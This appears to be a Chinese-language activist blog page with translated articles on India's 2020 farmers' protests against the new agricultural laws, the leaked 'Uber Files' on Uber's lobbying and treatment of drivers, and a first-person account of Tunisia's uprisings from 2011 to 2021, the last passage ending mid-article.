有三个主要的立法—— 《农民农产品贸易和商业（促进和便利化）法》、《农民（赋权和保护）价格保证和农业服务协议法》、以及《基本商品（修正）法》。第一项法案撤销了之前的贸易限制，允许无证的私人买家在全国任何地方直接从农民手中购买，甚至是以数字方式购买；它还暂停了国家监管的农产品市场委员会 (APMC) 的大市场 (mandis)，目前农民在那里与贸易商做生意。第二项法案建立了一个全国性的订单农业框架，允许在播种前进行交易。第三项法律修订了1955年的《基本商品法》，将包括食用油、洋葱和土豆在内的食品重新归类为“非必需品”，允许私人购买者无限期地储存这些产品，而无需报告。

政府声称，这些法律将有助于“到2022年使农民的收入翻倍”。但事实上，它们只是代表了大规模的放松管制，允许私人买家不受惩罚和无限制地进入。这些法律使买家能够在没有许可的情况下进行交易，并且不承诺与农民达成长期安排。

“他们剥夺了我们认可的任何机制，想让我们任由亿万富翁摆布”，来自古鲁格舍德拉的农民 Jujhar Singh 说。“我们总是可以在大市场以外的地方销售，有一个私人部门。但大市场是我们可以谈判的地方”，他的朋友 Zorawar 补充道。农民担心债务增加会导致敲诈，失去基本工资保障，以及 **kabza**（土地被没收）。他们还指出，政府将市场控制权转移给私人玩家，从而逃避了所有责任。来自哈里亚纳邦的工会领袖 Manoj Kumar 说：“我们现在已经在这里了，我们可以抗议，但公司没有法律规定要听我们的。”

政府承诺，新的法律将摆脱 arhtiyas，就是在哈里亚纳邦和旁遮普邦的APMC 大市场内运作的私人佣金代理。但是，农民很快就指出这些代理商是有目的的。“我并不是说没有剥削。但他们是市场的中介，他们对我们来说是可见的”，Jujhar 说。剑桥大学的研究人员 Shreya Sinha 在最近《印度论坛》的一篇文章中指出，Arhtiyas 是“必要的邪恶”。她写道：“他们经常向农民预支资金，甚至在政府采购机构尚未支付销售款项的情况下。专家们还强调了 mandis “大市场” 的重要性，无论 APMC 系统目前有多大的缺陷。“对于农民来说大市场都是一个有形的市场，是可以衡量的市场。它是与私人买家和国家机构进行规范交流的场所”，新德里政策研究中心的高级研究员 Mekhala Krishnamurthy 说。“新的法律反而造成了零散的市场，在没有其他生产者和国家监管的情况下，农民只能与私人买家进行交易”。在没有国家调解的情况下，规模较小的私人买家 —— 邻里商铺和批发店 —— 很可能会被大公司所取代，农民们说，大公司肯定会推崇经济作物而不是粮食作物，从而加剧气候危机。

这是第一次通过关于农业的联邦立法，农业一直是在州一级管理的。农民们问道："Kis se pooch ke kiya？（他们在通过这些法律之前问过谁？）"他们指出，根本没有征求各州的意见。农民将此举与"货币废止"政策相比较，莫迪在2016年突然决定推出新的纸币，声称为了淘汰黑钱。这一惩罚性措施引发了大规模的经济放缓，穷人受到的影响最大，因为他们主要依靠现金交易。（与此同时，99.3%的被禁现金很快就回到了银行系统）。

2019年8月撤销克什米尔的自治权是另一个参考点。"政府做事只是表演"，**Zorawar** 说，"他所有的计划都是为了让他的追随者观看和庆祝的。没有任何实际意义。这是光天化日之下的抢劫。"

许多旁遮普农民告诉我，在1960年代开始的所谓"绿色革命"之后，他们的水是如何被毒害的，当时在美国农学家诺曼·博劳格的敦促下，该地区引进了高产的、依赖杀虫剂的种子。虽然产量在十年内急剧上升，结束了印度当时面临的粮食危机，但是，却让农民们负债累累——自杀率急剧上升，地下水也被毒害。

Amandeep Sandhu 在他的《旁遮普》一书中以惊人的细节写下了绿色革命的影响。他写到了"农业规模如何在机械和化学等粗暴技术的帮助下，使一切失去平衡"。在反思拟议的法律时，他提醒我"农民承担了政策的成本，国家赞助的法律创造了一个破碎的新自由主义食品体制，我们都参与其中了。"

Kaur 是 Singhu 的一位七旬农民，他说，引入化学农业"创造了另一个旁遮普，它养活了其他人，但却无法养活自己"。Kaur 回忆说，当她还是个小女孩的时候，在她家的小农场里看到了各种各样的农作物——黑色的萝卜、棕色的大麦；但现在，她所知道的土地只是一家达瓦卡纳（药房），这是指旁遮普年轻人的高吸毒率；达瓦（药）也是农民用来指代他们被迫购买的农药的词。

"我已经看到了他们的手段"，Kaur 谈到大型农业综合企业时说，"他们利用了我们，把我们的土地变成了纸，现在他们将把它变成尘土。"穆克什·安巴尼和高塔姆·阿达尼，这两位印度最富有的商人，已经成为农民们所担心的企业收购的象征。12月5日，抗议者呼吁印度人抵制安巴尼旗下的电信巨头 Jio，并焚烧了这两位与莫迪私交甚笃的商人的肖像。

许多拥有土地的农民都参加了抗议活动。但他们的人数可能比 Jujhar 这样的无地农民更多，许多人来自马扎比社区，这是旁遮普邦锡克教内的一个达利特种姓社区。即使锡克教宣扬平等，种姓制度仍然存

在。在大多数村庄里，达利特人都有单独的礼拜场所和火葬场，他们也经常被禁止与占主导地位的种姓 Jutt 一起吃饭、祈祷。

Lacchman Singh Sevewala—— 一个马扎比锡克教徒和旁遮普 Khet Mazdoor 联盟的领导人—— 说，这些法律是对 “农民的 **virodhi (侵略)** 行为，也是对劳动者和全国所有辛勤工作的人的侵略行为”。他指出，即使是消费者，尤其是城市贫民，也会受到放松管制的影响。“这些法律将允许企业制造人为的价格上涨”，他说，“它还将影响到为最贫困者提供食物的公共分配系统。”

Devinder Singh 是一位无地农民，同时也是马扎比人，他解释了该法律将如何恶化该地区现有的社会等级制度：

如果公司和旁遮普省的任何人之间必须进行交易，这些职位将被那些已经掌握权力的人、精英、主流种姓所占据。他们想把我们变成美国，这就是他们向中产阶级宣传的方式。但我知道，在美国，富人统治，穷人受苦。给我看看有哪个所谓的自由市场是为社会底层的人谋利益的？

Devinder 提醒我，抗议活动上的口号一直是 “Kisan Mazdoor Ekta Zindabad”：农民和农工之间的团结。“我们有不同的问题，一开始我们可能对加入这些抗议活动犹豫不决。但我们有更多的损失”，他说。达利特人占旁遮普邦人口的32%，但在该邦拥有的土地仅占3.5%。他们也经常被由优势种姓控制的乡村政府剥夺权利。去年6月，旁遮普邦桑格鲁尔区的一个地方 panchayat (村委会) 组织了一个达利特劳工的工资上限，禁止他们在本村以外的村庄工作，并禁止房东为他们提供食物和用具。

然而，旁遮普邦的达利特农民在过去几十年里为他们的土地权利进行了反击。自2009年以来，Zameen Prapti Sangharsh 委员会 (ZPMC) 在旁遮普各地将达利特农民组织起来，通过1961年的《旁遮普省村庄共同土地管理法》获得了分配给他们的土地 —— 这些土地通常被占主导地位的种姓地主所侵占。森格鲁尔地区 Balad Kalan 的农民是2014年第一批竞标他们的合法土地的一些人，尽管警察和贵族种姓领导人的恶意攻击，他们最终仍然取得了胜利。

在德里和北方邦(UP)的加济布尔边境出现了一个较小的抗议地点，印度教背景的农民和劳工坐在卡车和汽车上。来自 Singhu 和另一个主要抗议地点蒂克里的志愿者每天都会开车来给这些抗议者提供食物。

“我们本来是不打算来的，但后来我们看到旁遮普邦和哈里亚纳邦的

农民并没有退缩，他们在继续我们曾经打输了的那场仗，所以我们不得不来”，来自UP东部阿姆罗哈的女性工会领袖 Sita Arya 说。

“看看糖厂的私有化是如何运作的”，她补充说，“我们的甘蔗在田里堆了好久；富有的私人买家能在他们想要的任何时候拿走他们想要的东西。我们无法追究他们的责任。”

Arya 还指出，莫迪政府去年承诺的保险计划 Pradhan Mantri Fasal Bima Yojana 到现在还没有实施。另一位来自北方邦的农民 Shanti 告诉我，自从该邦首席部长 Yogi Adityanath（一位分裂的极端主义印度教徒）推动的电价上调以来，北方邦的电价已经明显上涨。虽然73.2%的农村妇女从事农业活动，但只有12.8%的人拥有他们工作的土地。

Shanti 和 Arya 担心，主要集中在经济作物上的承包耕作会将她们淘汰。当我问她们打算在抗议现场呆多久时，她们表示同意—— 只要能呆多久就呆多久。“我们将在这里庆祝**1**月**26**日”，**Shanti**说，她指的是共和国日，届时该国将庆祝印度宪法的起草。她说，“需要有人提醒总理，宪法是写出来的，是存在的。莫迪似乎已经忘记了。”

随着抗议活动进入第二个月，来自拉贾斯坦邦、恰蒂斯加尔邦、甚至最南端的泰米尔纳德邦的农民都抵达了首都。12月22日，来自马哈拉施特拉邦纳西克的农民组成车队出发前往德里。在中央邦的布尔汉布尔，Adivasi（土著）农民正在抗议他们的州政府决定将40%的 “退化林地” 交给私人公司。

事实上，这场抗议活动已经成为异议的焦点，得到了去年反对歧视性《公民身份修正法案》（CAA）运动组织者的大力支持。在对政府的愤怒之下，农民于**12**月**11**日还为被**BJP**监禁的政治犯举行了抗议活动。他们排排坐，举着学生领袖 Umar Khalid、诗人 Varavara Rao、活动家 Stan Swamy 和其他根据严厉的UAPA法律被关进监狱的异议人士的照片。这是一个 ”异议的节日”，**Sandhu** 告诉我，“一个大型的社区斗争总会变成我们国家垂死的民主的斗争”。

不出所料，印度人民党及其蹩脚的媒体的反应是将抗议活动社区化，将农民打成 “卡利斯坦恐怖分子”—— 指的是1980年代锡克人领导的卡利斯坦独立运动。在 Singhu，一群年轻的农民带头游行，标语上写着 “我们是农民，不是恐怖分子”。

“如果穆斯林抗议他们是巴基斯坦人，如果锡克教徒抗议他们是卡利斯坦人，告诉我莫迪，那么谁是印度斯坦人？” 工会领导人萨布拉哈

在一个大型集会上问道。“为什么没有人要求印度教徒脱离 Pragya Thakur 或Yogi Adityanath，这些要对谋杀和私刑负责的家伙？”一个年轻的农民问我，“只有少数民族人口才会被质疑对国家的忠诚度。”

- 您可以和这篇文章对比看，关于美国的 “国内反恐” 为什么是可怕的

【注：Pragya Thakur 代表中央邦博帕尔的议员。**Thakur** 因其对穆斯林和其他宗教和种姓少数群体的仇恨言论而闻名，是**2008**年马莱冈爆炸事件的主要嫌疑人之一，在这次爆炸中，有人在马哈拉施特拉邦马莱冈镇的几座清真寺附近引爆了炸弹。爆炸造成6人死亡，100多人受伤。】

右翼媒体主播还声称，农民们被 “反对党洗脑了”，仿佛这是他们第一次为自己的权利而奋起反抗。“政府把我们呈现为受压迫的人，或者他们把我们教化为 annadata（种子的提供者）”，Sita Arya 曾在加济布尔说，“但我们是公民，我们是这个国家的大多数。我们知道如何要求得到属于我们的东西。”

在 Singhu，学生们建立了社区图书馆，里面有关于宪法的书籍、解释拟议中的法律的小册子、自由斗士巴格特·辛格（Bhagat Singh）的自传和日本农场激进主义者福冈正信的《一根稻草的革命》。

Trolley Times 是一份双语新闻快讯，正在蒂克里出版和发行，主要是为了对抗主流渠道搅动的叙事矩阵。“Har cheez ka jawab denge humare naujawan”， Sukhdev Singh 这位七十多岁的老农民微笑着告诉我，意思是说 “我们的年轻人对一切都有答案。”

Sukhdev 来自塔恩塔兰萨希布，靠近巴基斯坦边境。他向我讲述了他的村庄，讲述了他小时候游过的水井，这些水井后来被化肥毒死了。他说：“当你改变这片土地的文化时，你就开始抹杀它的人民了”。

Sukhdev 指出，我们正处在GT路 即大干线上，这是亚洲最古老的贸易路线之一，从中亚到孟加拉。它还连接着德里和拉合尔，提醒人们，成千上万的人，主要是来自旁遮普邦的人，在分治的流血中走过多余的、冷酷无情的边界，把他们的家园、土地和庄稼留给了别人。“我们会走到这条路的尽头，直达中心，他们无法阻止我们“，Sukhdev 告诉我，“GT Karnal road kabhi khatam nahin hunda”—“在我看来，GT卡尔纳尔路永远不会结束。”○

Harvest of Dissent

原文

当跨国公司与全球政府合谋伤害工人：优步的泄密 - iyouport

反抗者-寻求经验

最新的泄漏文件 "Uber Files" 曝光了该公司数百万英镑游说力量 -- 以及它如何与世界各地的政府合作削弱工人的权利。

“有时我们会遇到问题，好吧，因为我们只是他妈的非法”：这是Uber全球通信主管 Nairi Hourdajian 在2014年发给一位同事的消息中所说的话，当时该公司正面临在泰国和印度被关闭的前景。

这个被称为 “Uber档案” 的超过12.4万份被泄露的文件和信件，覆盖2013年至2017年，其中的一部分已经被披露，其内容涉及到 **Uber** 如何成为今天这个横跨全球的运输公司的核心，即：通过违反法律、逃避当局、培养与权贵的关系，以及将其司机置于反击的第一线。这些文件提供了关于该公司近年来被曝光的新细节。

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

“Uber文件” 显示了该公司如何认识到它需要接近政界人士，以确保它不会被管制。大卫·普洛夫和吉姆·梅西纳利用他们在奥巴马政府时期的政界关系和善意，帮助 Uber 在欧洲和中东地区扩张，包括让美国驻法国和荷兰的外交官为该公司出面干预。Uber 还与英国前财政大臣乔治·奥斯本、担任经济部长时的法国总统埃马纽埃尔·马克龙、前欧盟委员会副主席内莉·克鲁斯、和多伦多市长约翰·托里等人建立了密切的关系，这是仅举几例。

【注：大卫·普洛夫和吉姆·梅西纳都是美国著名竞选经理，选举政治的优秀玩家。】

该公司开发了一个 “终止开关”，如果办公室被当局搜查，它将远程加

密其计算机和设备，在包括加拿大、法国、荷兰、比利时、匈牙利、罗马尼亚和香港在内的司法管辖区至少使用了二十多次。

该公司游说各国政府，以确保监管工作将其作为一家“技术公司”而不是运输公司来对待，并乐于将司机置于危险境地，只要能对公司有利。在一些高管对派遣司机参加2016年巴黎抗议活动的计划表示保留意见后，其首席执行官特拉维斯·卡兰尼克说：“暴力保证成功”。

这些故事只是冰山一角，因为这些文件已经被分享给四十家媒体，预计这些媒体会在未来几天继续发布。Uber 已经试图在坏消息、重复性打击和可能的监管行动中抢占叙事控制地位：在一份声明中，该公司声称已经有许多关于其在卡兰尼克领导下如何运作的揭露，并试图使此次泄漏的文件中被记录的不良行为好像是来自该公司历史上早已过去的时期。但事实并非如此。

Uber 向全世界兜售了一个谎言

「图」

在2010年代初，Uber 正处于上升期，许多媒体都对它爱不释手。该公司得到了大量的正面报道，但是这些报道都忽略了该公司为了自己的利益而损害工人和社区的明显方式。这使得卡兰尼克能够提出一系列大胆的主张，使 Uber 听起来不仅是对普通人有好处，而且就像是“技术带来了一个更好的未来”。

正如《无路可走：硅谷对未来交通的误解》这本书中所概述的那样，Uber 本应减少汽车拥有量，减少交通拥堵，使服务不足的社区更容易获得交通服务，使其司机能够获得良好的生活，并为交通服务提供便利，或者说卡兰尼克本人是这样声称的。仅仅用了几年时间，所有这类宏大的承诺就被揭露为彻头彻尾的谎言。

Uber 的真正影响是让它所接触的每个人的生活变得更糟。一系列的研究发现，该公司使主要城市的交通状况恶化，对汽车所有权几乎没有影响，它只是使乘客远离公交服务，并增加了排放。同时，它破坏了现有出租车工人的工作条件，并压榨自己的司机（该公司的司机主要来自边缘化社区），为生活在城市的富裕年轻人提供不成比例的服务。

信口雌黄的承诺和不加批判的报道为该公司的真正项目提供了掩护，即：放松对出租车行业的监管，削弱工人的权利，并加强企业对人们出行方式的控制。简而言之，它在1990年代科赫兄弟资助的运动失败

的地方获得了成功。真正受益的人并不是街道上充斥着不受监管的出租车的公众，也不是生计被剥夺的工人，而是 **Uber** 公司的早期投资者，他们在公司上市时仍然能够套现，以及被称为 **“Uber for X”** 的商业模型，他们能够将其计件劳动模式推广到其他行业。

这份泄露的 Uber 档案充实了该公司如何成为今天如此这般的大量细节，在多年的新闻报道的基础上，这些文件揭示了从猖獗的性别歧视到创造像 Greyball 这样的工具来逃避监管机构和执法部门的一切。该公司的故事在迈克·艾萨克(Mike Isaac)的《Super Pumped》中得到了详细的阐述。然而，该公司继续拼命地想让人们相信，在卡兰尼克离开大楼后 “一切都变了”。

Uber 并没有任何改变

「图」

2017年8月，当达拉·科斯罗萨西(Dara Khosrowshahi)成为首席执行官时，该公司将其问题归结为有一个糟糕的企业 “文化”，并承诺科斯罗萨西将 “清理它”。但是，虽然管理层在其总部对待女性和其他边缘群体的做法是一个明显问题，但腐烂的问题根本性地涉及其商业模式的核心，而这是科斯罗萨西无法（也不会）改变的。

自接管 Uber 以来，科斯罗萨西开展的最重要活动并不是清理公司的 “兄弟会” 文化，而是推翻加州工人的权利。2019年9月，该州通过了议会第5号法案，该法案将迫使像 Uber 这样的零工公司将其工人重新归类为雇员而不是独立承包商。然而，这些公司联合起来，花费了数亿美元，误导公众投票支持一项名为**22**号提案的投票措施，他们声称该提案将 “改善工人的条件”，但事实上恰恰相反—— 它拒绝给予工人们就业地位。

“Uber 档案” 与其说是关于 **Uber** 的内部文化，不如说是关于该公司通过无情地追求政治关系和有利的监管，几乎不惜一切代价在世界各地的城市巩固自己的地位。尽管 Uber 的公关团队声称，“自从泄露的文件所涵盖的时期以来，它已经改变了”，但是，该公司正在进行的将其对工人的错误分类写入法律的运动表明，情况完全相反。

在第22号提案之后，科斯罗萨西推出了计划，大力宣传其所谓的 “IC＋”（独立承包商＋）的劳工分类。根据该计划，工人将被视为独立承包商，公司拒绝给予工人与就业地位相关的所有权利和福利。但该公司承诺工人将得到一些保护，包括 “从事时间” 的最低工资和一些有限的福利。然而，第22号提案的经验已经足够表明这些承诺都是虚

假的：很少有工人能获得微薄的福利，承诺的最低工资只有每小时5.64美元。

Uber 计划将其框架推广到美国和世界各地。在马萨诸塞州，它的投票措施计划最近遇到了该州最高法院的阻挠，但该公司在华盛顿更成功。在加拿大，Uber 将IC＋ 打造成“灵活工作＋”，并一直在游说全国各省修改其劳动法。安大略省最近的零工工作法密切反映了Uber一直在推动的内容。

同时，英国最高法院去年的一项裁决认为，Uber 司机应被列为工人，并获得相关的权利和福利。这一裁决被认为是“工人的进步”，Uber 将其作为公关活动的一个关键部分，使人们相信它公平对待工人。但是，**Uber** 实际上从未遵守完整的裁决，即 工人在工作的整个过程中—— 从登入到登出—— 应该保证最低工资。相反，Uber 只在“参与” 的时间，或在他们提供乘车服务的时候给予最低工资。

“Uber档案” 还显示了该公司如何培养重要的关系，而不考虑其后果。在去年的加拿大联邦选举中，保守党发布了一项工作计划，该计划被描述为Uber “灵活工作＋” 提案的 “复制”。事实证明，**Uber** 的一名说客是该党的政策主管，在制定该平台时发挥了主导作用。幸运的是，该党在选举中失利，但科斯罗萨西的表现远比这更糟糕。

2019年，在有确凿证据表明沙特王储穆罕默德·本·萨勒曼下令处决和肢解《华盛顿邮报》记者贾马尔·卡舒吉后，科斯罗萨西仍未准备好与这位凶残的独裁者保持距离。在接受 Axios 采访时，他只是将这场残酷的谋杀轻描淡写为一个 “错误”，并说 “人都会犯错，这并不意味着他们永远不能被原谅”。第二天，该公司的公关团队不得不帮他收拾在试图不得罪公司的一个主要股东时所造成的混乱。

必须阻止 Uber

「图」

与 Uber 希望公众相信的情况相反，它并没有改变。它仍然积极致力于控制人们的出行方式，并在此过程中削弱工人的权利 —— 这既是为了其股东的利益，也是为了任何试图通过使用该应用程序来逃避传统上制约其经营行业的法规的公司的利益。但赢得这些战斗是 Uber 下一阶段的关键。

经过十多年的现金流失，包括仅自2015年以来的200多亿美元，随着大萧条以来首次认真加息，轻松的钱可能最终会枯竭。在这场大流行

中，Uber 放弃了对自动驾驶汽车和飞行汽车等事物的大赌注，它曾承诺这些事物是流动性的未来。相反，我们开始看到必须在财务上保持可持续发展对 **Uber** 提供的服务意味着什么：更高的价格和更长的等待时间，以至于出租车看起来再次具有吸引力。

在 Uber 的服务恶化和帮助它消灭出租车的补贴消失的同一时刻，该公司可能最终试图接管其最大的竞争对手。今年3月，Uber 签署了一项协议，将纽约市的出租车列在了其应用程序上，随后在旧金山和意大利也有类似的交易。这一发展不仅使 Uber 能够控制客户关系，攫取行程数据，并增加其工人供应，而且在有效打破长期以来的监管框架后，它可能使出租车行业受到 **Uber** 的规则约束。这将意味着对司机的算法暴政和对乘客的激增定价。

“Uber档案” 增加了全世界的人们对使 Uber 成为今天这样的公司的恶行的更多了解，以及这种玩法的各个方面如何继续推动该公司对工人的全球战争。由于该公司的商业模式似乎将发生根本性转变，我们有机会纠正多年前的错误。Uber 不顾后果地改造我们的运输系统，为其商业利益服务的运动应该就此结束了。我们可以做得更好。○

The Uber Leak Exposes the Global War on Workers

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

原文

我们不要被代表：突尼斯的反抗，从2011年革命到2021年起义 - iyouport

反抗者-寻求经验

反抗者的作用提供斗争手段，向群众提供声援，而不是“在他们的位置上思考”。一个声称为工人说话、“代表”他们、并代替他们行事的政党，将必然沦为镇压革命的工具。

必需强调这点：这场反抗运动不是限于突尼斯的。今年*5*月下旬，阿曼已经跟进突尼斯的行动。阿曼的警察接受的是英国的军事化培训，他们的镇压布局非常欧洲

2010年12月17日，一位名叫穆罕默德·布阿齐的突尼斯青年自焚，以抗议他在警察手中遭受的压迫，掀起了后来被称为“阿拉伯之春”的起义浪潮。今天，突尼斯正经历着自那时以来最大规模的基层起义，成千上万的人在街头与警察持续不断地对抗。

如果您错过了《真正的阿拉伯之春 (早在小贩自焚之前)》

在以下报告中，突尼斯的反抗者解释了这场新的反抗运动的背景，探讨了什么已经改变，什么仍然不变。现在在突尼斯看到的是该地区下一轮革命运动的预兆。

报告以第一人称表述。

下面的照片显示，突尼斯反法西斯组织“错误的一代”的参与者打着横幅，上面是他们的口号：“There is anger under the ground”。

从2011年到2021年

「图」

作为一个突尼斯人，人们总是问我，“2011年的革命是否成功？”如果不描述过去十年的斗争，就没有简单的回答方式。一般来说，我们

的分析是，当代突尼斯类似于全球资本主义下存在的大多数其他代议制民主国家；我们面临同样的政治和经济危机，同样的国家暴力，同样的问题。

突尼斯是席卷北非和中东的起义的发源地，它是该地区唯一一个在没有经历像埃及那样的军事政变或像叙利亚那样的内战的情况下废黜其独裁者的国家。话虽如此，突尼斯并不是乌托邦。这个国家在过去十年中经历了十多个政府，并发生了很多冲突。推翻政府十年后，我们这些反抗者的要求仍然是："尊严、自由、正义"。

2011年1月的起义吸引了各种各样的人，从愤怒和失业者到伊斯兰原教旨主义者、马克思主义者、海盗党和少数无政府主义者。

在革命的高潮，2011年1月14日，我们的前独裁者本·阿里和他的直系亲属逃到了沙特阿拉伯。本·阿里的几个家庭成员进了监狱，但他的政党仍然活跃，而突尼斯的商业阶层只是变得更加强大了。

革命后的第一届政府由前政权的总理领导，随后是另一个政府，其成员也曾是旧政权的一部分。这两者都失败了，为新的选举制让路。突尼斯历史上第一次"公平公正的选举"于2011年举行，选出了一个代表民众的制宪会议，并责成他们编写一部新宪法。正如穆斯林兄弟会的穆罕默德·穆尔西在埃及革命后赢得总统选举一样，在突尼斯，伊斯兰原教旨主义政党 Nahdha 在这次选举中赢得了多数席位，转而反对其他革命参与者。

2013年，世界社会论坛在突尼斯举行的同一年，两位寻求统一左翼的主要人物被神秘地暗杀了：**Chokri Belaid** 和 **Mohamed Brahmi**。所有证据都指向伊斯兰原教旨主义者。从2011年到2016年，意识形态类似于ISIS的伊斯兰原教旨主义组织在 Nahdha 党的协助下积累了权力。突尼斯是ISIS志愿者的主要输出国之一；自2011年以来，突尼斯至少发生了五次重大恐怖袭击。不过，与该地区的许多国家相比，这里的伊斯兰原教旨主义仍不那么普遍。

革命后的第一批重要运动之一是"Manich Msemeh"（"我不会原谅"），年轻人联合起来对抗2014年的《和解法案》，该法案是旨在原谅革命前参与前政权的人。

革命者和 Manich Msemeh 运动的成员 Heythem Guesmi 认为这场运动喜忧参半，因为首先它是一场横向运动，打破了左翼各党派所提倡的正统政党制度。其次在他看来，"革命被从我们这里偷走了"，而《和解法》只是加剧了这种感觉。他指出，尽管"公民社会"组织

（即自由主义团体）在运动的第二阶段加入了运动，但他们只关注该法案的技术性问题，与法律机构合作反对该法案—— 而运动中的革命者则关注将权力还给过去50年统治突尼斯的人的哲学含义。最终，该法案未获通过。

突尼斯激进活动家艾哈迈德·特利利（Ahmed Tlili）也强调了小的胜利对建立新的一代的重要性。在前任独裁者本·阿里和布尔吉巴统治的50多年里，突尼斯人生活在完全的监视之下；他们因印刷政治传单或唱了一些可能被解释为反体制的歌曲而被流放、拷打、甚至杀害。新一代人在不同的条件下长大，没有网络审查，有更多的言论自由，看到了与独裁政权斗争的意义。这培养了一代人，他们比老一代人更坚定地抵抗警察和父权制。2021年1月26日。照片由 Noureddine Ahmed 拍摄。

伊斯兰党 Nahdha 最近与 “Kalb Tounes”（自由党，其领导人因洗钱而入狱，这要归功于一群突尼斯年轻人多年来对此案的追查）以及宪政民主联盟（RCD）结成联盟，后者是本·阿里的政党，也是突尼斯从1956年独立之初到2011年革命前的唯一执政党。这个联盟构成了议会中的绝对多数，是腐败的象征，也是贫困、不平等和父权制的主要原因之一。这使得人们对改革不抱希望，得出的结论是唯一的出路是反叛或另一场革命。

目前的反叛的最初迹象出现在去年底。2020年11月，议会的一名议员发表了反对堕胎的讲话，称所有 “解放” 的妇女为 “妓女”，并特别挑出单身母亲。12月8日，女性在议会前抗议，举着写有 “在父权制垮台之前我们都是妓女” 的标语。两天后，议会宣布了2021年的预算，再次激怒了许多人 —— 在COVID-19大流行的情况下，他们分配给公共卫生的资源非常少。

尽管大流行病导致了经济危机，但在1月初，政府购买了一支全新的防暴卡车车队，以及60辆打算给突尼斯警察的车辆。尽管（或确切地说是）由于大流行引起的经济危机，突尼斯政府还是花了很多钱在车辆上，晒肌肉以威胁示威者。

1月9日，足球迷们走上街头，抗议他们的足球队 Le Club Africain 的主席腐败。足球在突尼斯一直是政治化的；它是留给工人阶级的唯一的表达或快乐的手段。足球歌曲有一个长期的传统，即 提倡平等主义和反叛。同时，足球队的主席一直参与政府的工作—— 这是一个洗钱的伟大计划。

在他们的抗议中，球迷们将非洲俱乐部框定为整个国家正在发生的事

的一个象征。警察逮捕了其中的300人，其中200人是未成年人。这激怒了许多人。

2021年1月14日是突尼斯革命胜利的十周年。1月12日晚，政府宣布从1月14日到1月17日将实行全面封锁。他们的理由是COVID-19大流行，但真正的原因很明显。1月14日，成千上万的人聚集在街头，无视封锁令。

今天，自反叛开始以来，已经有1600多人被捕。这场运动汇集了一个新的联盟，包括足球迷、学生、无政府主义者、共产主义者、农民和其他反叛者。

值得注意的是，在先扩大后背叛2011年的起义中发挥了重要作用的原教旨主义者并不在场。下一轮运动面临的背景是，伊斯兰原教旨主义与国家相关联，反叛运动必须聚集足够的力量从外部反对它。

虽然突尼斯是一个很小的国家，其人口不比纽约市多多少，但它多次成为整个地区事件的风向标。与许多邻国相比，突尼斯在种族和宗教上更加单一；当反叛运动在这些相对稳定的条件下爆发时，这可以表明它可能会蔓延。在我们进入由COVID-19大流行引发的全球经济危机时，这一点意义重大。

选举制不是解决方案

「图」

如果您错过了《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

「图」

在最近的选举中，突尼斯出现了前所未有的情况：300万人—— 70%的选民—— 将选票投给了没有任何政党背景的法律教授凯斯·萨伊德。他用自己的3000第纳尔（1000美元）和小额捐款资助了自己的竞选活动。与其他党派的候选人不同，萨伊德拒绝了政府惯用的6万“津贴”，或者应该说，从普通人的口袋里掏钱赞助竞选活动。作为一个听起来和做起来都很“诚实”的总统，他一次又一次地重复，他与“人民”而不是政党站在一起。在突尼斯人看来，“我们已经赢得了反腐的胜利”。

在他上任的头几个月，萨伊德选择继续住在他位于中产阶级社区的简

陋房子里，而不是住在总统府里，早上从当地的咖啡馆拿咖啡。而就在2021年2月3日，在抗议者和警察发生冲突的示威活动中，总统突然造访街头，与人们交谈，听取抗议者的“要求”。他一遍又一遍地重复着同样的讲话：“我和你们站在一起：人民，我不会让你们成为腐败政客口中的小菜”。他甚至谴责了警察，说：“没有所谓的坏警察和好警察，所有警察都是来自政府的”。

这听起来像是一个儿童童话故事，说的是一个仁慈的君主，他爱他的臣民，住在一个简陋的小屋，而不是他豪华的城堡，伪装成一个普通人。但是，人们已经慢慢意识到，拥有一个“好”总统并没有改变老百姓的处境，也没有让人民的斗争变得更容易。人们看到，选举制度一次又一次地未能带来改变—— 真正的权力要么在政府手中，即议会和部长，首先是警察，要么在人民自己的手中，当人民走上街头。Islam Hakiri 拍摄的照片

突尼斯的民主

「图」

即使在没有以严重压迫或内战告终的地方，所谓的“阿拉伯之春”在很大程度上被引向了选举民主运动，其结果与欧洲、美国和拉丁美洲的这类运动一样令人失望。

今天，在突尼斯，“民主”一词已经具有负面含义。它大多与资本主义和当前的（新）自由主义国家 —— 当然还有帝国主义 —— 联系在一起。然而，对于用什么来取代民主，人们意见不一。

如何获得真正的民主，推荐这里的思考《从民主到自由》

「图」

突尼斯现有的左翼团体参加了从法国独立出来的斗争，然后被迫转入地下50年，面对压迫和监禁、酷刑和暗杀。对他们来说，历史上第一次参加选举制度，并在新宪法的编写过程中作为反对派团体发挥作用，是一个梦想成真。

然而，在如何理解当前的斗争方面，存在着代际间的争议。我们看到一种挥之不去的创伤经历影响着老一代人，例如，他们因为害怕被监视而拒绝使用技术工具（他们既不使用数字信息也不在网上发表文章）。他们对权力下放持批评态度，坚持认为政党制是推翻政府的唯一途径，即使他们自己不参加选举。

然而，在年轻一代的左翼中，存在着一种新的精神。人们看到，“民主”并不能保证革命所要求的东西得到落实。近几年来，人们对权力下放的兴趣越来越大。

Heythem Guesmi 指出，有两种方法可以取代代议制民主。政治的方法是建立一个像布克钦那样的联邦制度，涉及轮流承担责任。说实话，这种制度类似于总统凯斯·萨伊德所提议的那样。无论如何，这将需要一场长期的斗争。

【注：默里·布克钦（Murray Bookchin）美国无政府主义者，政治哲学家，工会组织者和教育家，也是环境正义运动的先驱。】

在短期内，参考大卫·格雷伯的说法，已经被物质亲和力捆绑在一起的小团体可以寻求与其他团体的共同事业，建立集体自治。Heythem 说：“即使是在公共公园里进行社区烧烤这样的小经历，也代表着向占领公共空间和更多地接触我们的身份和斗争迈出了一步”。

如果您错过了《德国的森林占领运动：抵抗的战术、战略和文化》

「图」

在抵抗拟议的赋予警察豁免权的法律的抗议活动中，瓦赫迪·梅瓦奇（Wajdi Mehwachi）拿着10第纳尔的钞票，作为警察贿赂的象征。著名的摄影师兼记者伊斯兰·哈基里（Islam Hakiri）在这次抗议活动中遭到殴打和逮捕。

警察的暴行

「图」

在过去的几年里，突尼斯政府一直想通过一项法律，给予警察完全的豁免权。在即将通过的法案中甚至有一个分段，称人们可以因为“伤害警察的感情”而被监禁。

